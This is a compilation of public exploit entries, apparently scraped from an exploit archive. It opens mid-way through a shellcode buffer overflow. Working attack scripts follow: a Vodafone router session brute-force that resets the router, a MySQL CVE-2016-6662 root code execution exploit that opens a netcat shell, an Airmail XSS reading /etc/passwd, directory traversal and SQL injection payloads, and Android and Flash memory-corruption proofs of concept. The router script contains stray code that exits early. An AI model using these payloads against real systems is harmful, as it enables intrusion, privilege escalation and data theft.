buf2 += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
eip_overwrite = "\x2a\x6a\x06\x08"
#eip_overwrite = "AAAA"
buf3 = "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf3 += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f"
buf3 += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20\x7c"
buf3 += "\x24\x4b\x65\x79\x61\x7c\x24\x56\x20\x41\x20\x30"
buf3 += "\x61\x7c\x24\x56\x69\x63\x6b\x20\x50\x69\xca\xca"
buf3 += "\x0a"
# Send EVIL PACKET !
s.sendall(buf + shellcode + buf2 + eip_overwrite + buf3)
s.close()
import urllib2
import json
from datetime import datetime, timedelta
import time
import httplib
from threading import Thread
from Queue import Queue
from multiprocessing import process
print """
Vodafone Mobile WiFi - Password reset exploit (Daniele Linguaglossa)
"""
thread_lock = False
session = ""
def unix_time_millis(dt):
epoch = datetime.utcfromtimestamp(0)
return int(((dt - epoch).total_seconds() * 1000.0) / 1000)
a=False
def check_process_output():
print 1
p = process.Process(target=check_process_output)
p.start()
print a
exit(0)
def crack(queue):
global thread_lock
global session
while True:
if thread_lock:
exit(0)
if not queue.empty():
cookie = queue.get()
headers = {'Referer': 'http://192.168.0.1/home.htm', 'Cookie': "stok=%s" % cookie}
req = urllib2.Request("http://192.168.0.1/goform/goform_get_cmd_process?cmd=AuthMode&_=%s"
% time.time(), None, headers)
result = urllib2.urlopen(req).read()
if json.loads(result)["AuthMode"] != "":
print "[+] Found valid admin session!"
print "[INFO] Terminating other threads ... please wait"
session = cookie
queue.task_done()
thread_lock = True
def start_threads_with_args(target, n, arg):
thread_pool = []
for n_threads in range(0, n):
thread = Thread(target=target, args=(arg,))
thread_pool.append(thread)
thread_pool[-1].start()
return thread_pool
def start_bruteforce():
global session
global thread_lock
queue = Queue(0)
start_threads_with_args(crack, 15, queue)
print"[!] Trying fast bruteforce..."
for x in range(0, 1000):
if thread_lock:
break
queue.put("123abc456def789%03d" % x)
while True:
if session != "":
return session
if queue.empty():
break
print "[!] Trying slow bruteforce..."
for milliseconds in range(0, how_many):
if thread_lock:
break
queue.put("123abc456def789%s" % (start + milliseconds))
while True:
if session != "":
return session
if queue.empty():
break
return session
if __name__ == "__main__":
now = datetime.now()
hours = raw_input("How many hours ago admin logged in: ")
minutes = raw_input("How many minutes ago admin logged in: ")
init = datetime(now.year, now.month, now.day, now.hour, now.minute) - timedelta(hours=int(hours), minutes=int(minutes))
end = datetime(now.year, now.month, now.day, 23, 59, 59, 999999)
start = unix_time_millis(init)
how_many = unix_time_millis(end) - start + 1
print "[+] Starting session bruteforce with 15 threads"
valid_session = ""
try:
valid_session = start_bruteforce()
except KeyboardInterrupt:
print "[-] Exiting.."
thread_lock = True
exit(0)
if valid_session == "":
print "[!] Can't find valid session :( quitting..."
exit(0)
print "[+] Resetting router password to 'admin' , network may be down for a while"
headers = {'Referer': 'http://192.168.0.1/home.htm', 'Cookie': "stok=%s" % valid_session}
req = urllib2.Request("http://192.168.0.1/goform/goform_set_cmd_process",
"goformId=RESTORE_FACTORY_SETTINGS&_=%s" % time.time(), headers)
try:
urllib2.urlopen(req).read()
except httplib.BadStatusLine:
print "[!] Password resetted to admin! have fun!"
exit(0)
except Exception:
print "[x] Error during password reset"
print "[-] Can't reset password try manually, your session is: %s" % valid_session
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=845
There is an info leak in the Transform.colorTranform getter. If the constructor for ColorTransform is overwritten with a getter using addProperty, this getter will execute when fetching the constructor, which can then free the MovieClip containing the Tranform.
A minimal PoC is as follows:
this.createEmptyMovieClip( "mc", 1);
var c = new ColorTransform( 77, 88, 99, 0.5, 1, 2, 3, 4);
var t:Transform = new Transform( mc );
t.colorTransform = c;
this.createTextField( "tf", 2, 0, 0, 2000, 200);
var ct = ColorTransform;
var g = flash.geom;
g.addProperty("ColorTransform", func, func);
var q = t.colorTransform;
tf.text = q.greenMultiplier + "\n" + q.blueMultiplier + "\n" + q.color;
function func(){
mc.removeMovieClip();
return ct;
}
A sample swf and fla are attached. The PoC prints the value of unallocated memory to the screen.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40355.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=840
There's an inconsistency between the way that the two functions in libutils/Unicode.cpp handle invalid surrogate pairs in UTF16, resulting in a mismatch between the size calculated by utf16_to_utf8_length and the number of bytes written by utf16_to_utf8.
This results in a heap-buffer-overflow; one route to this code is the String8 constructor initialising a String8 from a String16. This can be reached via binder calls to the core system service "android.security.keystore" from a normal app context without any additional permissions. There are probably other routes to reach this code with attacker controlled data.
ssize_t utf16_to_utf8_length(const char16_t *src, size_t src_len)
{
if (src == NULL || src_len == 0) {
return -1;
}
size_t ret = 0;
const char16_t* const end = src + src_len;
while (src < end) {
if ((*src & 0xFC00) == 0xD800 && (src + 1) < end
&& (*++src & 0xFC00) == 0xDC00) { // <---- increment src here even if condition is false
// surrogate pairs are always 4 bytes.
ret += 4;
src++;
} else {
ret += utf32_codepoint_utf8_length((char32_t) *src++); // <---- increment src again
}
}
return ret;
}
void utf16_to_utf8(const char16_t* src, size_t src_len, char* dst)
{
if (src == NULL || src_len == 0 || dst == NULL) {
return;
}
const char16_t* cur_utf16 = src;
const char16_t* const end_utf16 = src + src_len;
char *cur = dst;
while (cur_utf16 < end_utf16) {
char32_t utf32;
// surrogate pairs
if((*cur_utf16 & 0xFC00) == 0xD800 && (cur_utf16 + 1) < end_utf16
&& (*(cur_utf16 + 1) & 0xFC00) == 0xDC00) { // <---- no increment if condition is false
utf32 = (*cur_utf16++ - 0xD800) << 10;
utf32 |= *cur_utf16++ - 0xDC00;
utf32 += 0x10000;
} else {
utf32 = (char32_t) *cur_utf16++; // <---- increment src
}
const size_t len = utf32_codepoint_utf8_length(utf32);
utf32_codepoint_to_utf8((uint8_t*)cur, utf32, len);
cur += len;
}
*cur = '\0';
}
An example character sequence would be the following:
\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
This will be processed by utf16_to_utf8_len like this:
first loop iteration:
\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
^
invalid surrogate; skip at (*++src & 0xfc00 == 0xdc00)
\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
^
invalid surrogate; emit length 0 at (utf32_codepoint_utf8_length(*src++))
second loop iteration:
\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
^
invalid surrogate; emit length 0 at (utf32_codepoint_utf8_length(*src++))
And will be processed by utf16_to_utf8 like this:
first loop iteration:
\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
^
invalid surrogate; write 0 length character to output
second loop iteration
\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
^
valid surrogate pair 0xd841 0xdc41; emit length 4 character to output
We can then construct a crash PoC using this sequence for the String16 passed to the keystore method 'getKeyCharacteristics' that will perform the String8(String16&) constructor on attacker supplied input; and provide a massive input string. The crash PoC should write 0x20000 * 2/3 bytes into a 2 byte heap allocation. It has been tested on a recent nexus5x userdebug build; resulting in the following crash (the object backing an android::vectorImpl has been corrupted by the overwrite, and "\xf0\xa0\x91\x81" is the utf8 encoding for the utf16 "\x41\xd8 \x41\xdc"):
pid: 16669, tid: 16669, name: keystore >>> /system/bin/keystore <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x91a0f08191a110
x0 8191a0f08191a108 x1 0000000000000000 x2 0000000000000000 x3 0000000000000020
x4 00000000ffffffa0 x5 0000000000000010 x6 0000000000000001 x7 0000007f802c0018
x8 0000000000000000 x9 000000000a7c5ac5 x10 0000000000000000 x11 0000000000000000
x12 000000000000d841 x13 0000000000000841 x14 0000000000000041 x15 0000007f8067bd9e
x16 0000005565984f08 x17 0000007f80aeee48 x18 00000000ffffff91 x19 0000007fd1de26c0
x20 8191a0f08191a108 x21 8191a0f08191a0f0 x22 0000000000000000 x23 0000005565984000
x24 8191a0f08191a0f0 x25 0000007fd1dea7b8 x26 0000007f806690e0 x27 0000007fd1de25d0
x28 000000556596f000 x29 0000007fd1de2550 x30 0000005565961188
sp 0000007fd1de2550 pc 0000007f80aeee58 pstate 0000000060000000
backtrace:
#00 pc 0000000000016e58 /system/lib64/libutils.so (_ZN7android10VectorImpl13editArrayImplEv+16)
#01 pc 000000000000a184 /system/bin/keystore
#02 pc 00000000000112d0 /system/bin/keystore
#03 pc 000000000000b7f4 /system/lib64/libkeystore_binder.so (_ZN7android17BnKeystoreService10onTransactEjRKNS_6ParcelEPS1_j+1560)
#04 pc 0000000000024c9c /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+168)
#05 pc 000000000002dd98 /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1240)
#06 pc 000000000002de4c /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+140)
#07 pc 000000000002def4 /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+76)
#08 pc 0000000000007a04 /system/bin/keystore (main+1940)
#09 pc 000000000001bc98 /system/lib64/libc.so (__libc_init+100)
#10 pc 0000000000007c20 /system/bin/keystore
######################################################
Actually you can compromise many native system services using this bug (ie those not implemented in Java); because of the interface token checking code in Parcel.cpp. See attached for another PoC that takes as a first command line argument the name of the service to crash. On my nexus 5x with very unscientific testing, this includes the following services:
- phone, iphonesubinfo, isub (com.android.phone)
- telecom, voiceinteraction, backup, audio, location, notification, connectivity, wifi, network_management, statusbar, device_policy, mount, input_method, window, content, account, telephony.registry, user, package, batterystats (system_server)
- media.audio_policy, media.audio_flinger (mediaserver)
- drm.drmManager (drmserver)
- android.security.keystore (keystore)
- SurfaceFlinger (surfaceflinger)
bool Parcel::enforceInterface(const String16& interface,
IPCThreadState* threadState) const
{
int32_t strictPolicy = readInt32();
if (threadState == NULL) {
threadState = IPCThreadState::self();
}
if ((threadState->getLastTransactionBinderFlags() &
IBinder::FLAG_ONEWAY) != 0) {
// For one-way calls, the callee is running entirely
// disconnected from the caller, so disable StrictMode entirely.
// Not only does disk/network usage not impact the caller, but
// there's no way to commuicate back any violations anyway.
threadState->setStrictModePolicy(0);
} else {
threadState->setStrictModePolicy(strictPolicy);
}
const String16 str(readString16());
if (str == interface) {
return true;
} else {
ALOGW("**** enforceInterface() expected '%s' but read '%s'",
String8(interface).string(), String8(str).string());
return false;
}
}
Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40354.zip
#!/usr/bin/python
#
# MySQL / MariaDB / Percona - Remote Root Code Execution / PrivEsc PoC Exploit
# (CVE-2016-6662)
# 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
#
# For testing purposes only. Do no harm.
#
# Discovered/Coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
#
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
#
#
# Follow: https://twitter.com/dawid_golunski
# &
# Stay tuned ;)
#
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "\n"
def errmsg(str):
print "[!] " + str + "\n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)\n" % code)
else:
errmsg("Exiting (code: %d)\n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges).
# Decoded payload (paths may differ) will look similar to:
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
Airmail is a popular email client on iOS and OS X.
I found a vulnerability in airmail of the latest version which could cause
a file:// xss and arbitrary file read.
Author: redrain, yu.hong@chaitin.com
Date: 2016-08-15
Version: 3.0.2 and earlier
Platform: OS X and iOS
Site: http://airmailapp.com/
Vendor: http://airmailapp.com/
Vendor Notified: 2016-08-15
Vulnerability:
There is a file:// xss in airmail version 3.0.2 and earlier.
The app can deal the URLscheme render with link detection, any user can
edit the email content in reply with the evil code with the TL;DR.
Airmail implements its user interface using an embedded version of WebKit,
furthermore Airmail on OS X will render any URI as a clickable HTML <a
href= link. An attacker can create a simple JavaScript URI (e.g.,
javascript:) which when clicked grants the attacker initial JavaScript
execution (XSS) in the context of the application DOM.
PoC:
javascript://www.baidu.com/research?%0Aprompt(1)
a
Arbitrary file read:
javascript://www.baidu.com/research?%0Afunction%20reqListener%20()%20%7B%0A%
20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%
20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%
22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%
20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
# Exploit Title: Cherry Music v0.35.1 directory traversal vulnerability allows authenticated users to download arbitrary files
# Date: 11-09-2016
# Exploit Author: feedersec
# Contact: feedersec@gmail.com
# Vendor Homepage: http://www.fomori.org/cherrymusic/index.html
# Software Link: http://www.fomori.org/cherrymusic/versions/cherrymusic-0.35.1.tar.gz
# Version: 0.35.1
# Tested on: ubuntu 14.04 LTS
# CVE : CVE-2015-8309
import urllib2, cookielib, urllib
#set parameters here
username = 'admin'
password = 'Password01'
baseUrl = 'http://localhost:8080/'
targetFile = '/etc/passwd'
downloadFileName = 'result.zip'
####
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
params = urllib.urlencode({'username': username, 'password': password, 'login': 'login'})
req = urllib2.Request(baseUrl, params)
response = opener.open(req)
for c in cj:
if c.name == "session_id":
session_id = c.value
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders.append(('Cookie', 'session_id=' + session_id))
params = urllib.urlencode({'value': '["' + targetFile + '"]'})
request = urllib2.Request(baseUrl + "download", params)
response = opener.open(request).read()
with open(downloadFileName, 'wb') as zipFile:
zipFile.write(response)
# Exploit Title: Battle.Net 1.5.0.7963 Local Privilege Escalation
# Date: 11/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: www.battle.net
# Software Link: https://eu.battle.net/account/download/
# Version: Version 1.5.0.7963
# Tested on: Windows 10 Professional x64 and Windows XP SP3 x86
1. Description:
Battle.Net installs by default to "C:\Program Files (x86)\Battle.Net" with weak folder permissions granting any built-in user account with full permission to the contents of
the directory and it's subfolders. This allows an attacker opportunity for their own code execution under any other user running the application. This is not limited to just
the Battle.Net directory, but also to any of Blizzards game installation folders as installed by Battle.Net.
2. Proof
C:\Program Files>cacls Battle.net
C:\Program Files\Battle.net BUILTIN\Users:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
CREATOR OWNER:(OI)(CI)F
C:\Program Files>cacls "Diablo III"
C:\Program Files\Diablo III BUILTIN\Users:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
CREATOR OWNER:(OI)(CI)F
C:\Program Files>cacls "StarCraft II"
C:\Program Files\StarCraft II BUILTIN\Users:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
CREATOR OWNER:(OI)(CI)F
C:\Program Files>cacls Hearthstone
C:\Program Files\Hearthstone BUILTIN\Users:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
CREATOR OWNER:(OI)(CI)F
C:\Program Files>cacls "Heroes of the Storm"
C:\Program Files\Heroes of the Storm BUILTIN\Users:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
CREATOR OWNER:(OI)(CI)F
C:\Program Files (x86)>cacls "World of Warcraft"
C:\Program Files (x86)\World of Warcraft BUILTIN\Users:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
CREATOR OWNER:(OI)(CI)F
3. Exploit:
Simply replace any of the game exe's or any of the dll's with your preferred payload and wait for execution.
# Exploit Title: wdcalendar version 2 sql injection vulnerability
# Google Dork: allinurl:"wdcalendar/edit.php"
# Date: 12/09/2016
# Exploit Author: Alfonso Castillo Angel
# Software Link: https://github.com/ronisaha/wdCalendar
# Version: Version 2
# Tested on: Windows 7 ultimate
# Category: webapps
* Affected file -> edit.php and edit.db.php
* Exploit ->
http://localhost/wdcalendar/edit.php?id=-1+union+select+1,version(),user(),4,5,6,7,8,9--
* Vulnerable code:
function getCalendarByRange($id){
try{
$db = new DBConnection();
$db->getConnection();
$sql = "select * from `jqcalendar` where `id` = " . $id; //the
variable is not filtered properly
$handle = mysql_query($sql);
//echo $sql;
$row = mysql_fetch_object($handle);
}catch(Exception $e){
}
return $row;
}
if($_GET["id"]){
$event = getCalendarByRange($_GET["id"]); //the variable is not filtered
properly
######################
# Exploit Title : WordPress RB Agency 2.4.7 Plugin - Local File Disclosure
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://rbplugin.com/
# Category [ Webapps ]
# Tested on [ Win ]
# Version : 2.4.7
# Date 2016/09/03
######################
PoC
The Vulnerable page is
/ext/forcedownload.php
http://server/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../../../../../etc/passwd
Youtube:https://youtu.be/5kE8Xt-My9A
######################
# Discovered by : Mojtaba MobhaM Mail:Kazemimojtaba@live.com
# B3li3v3 M3 I will n3v3r St0p
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi & Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
# Homepage : http://persian-team.ir
######################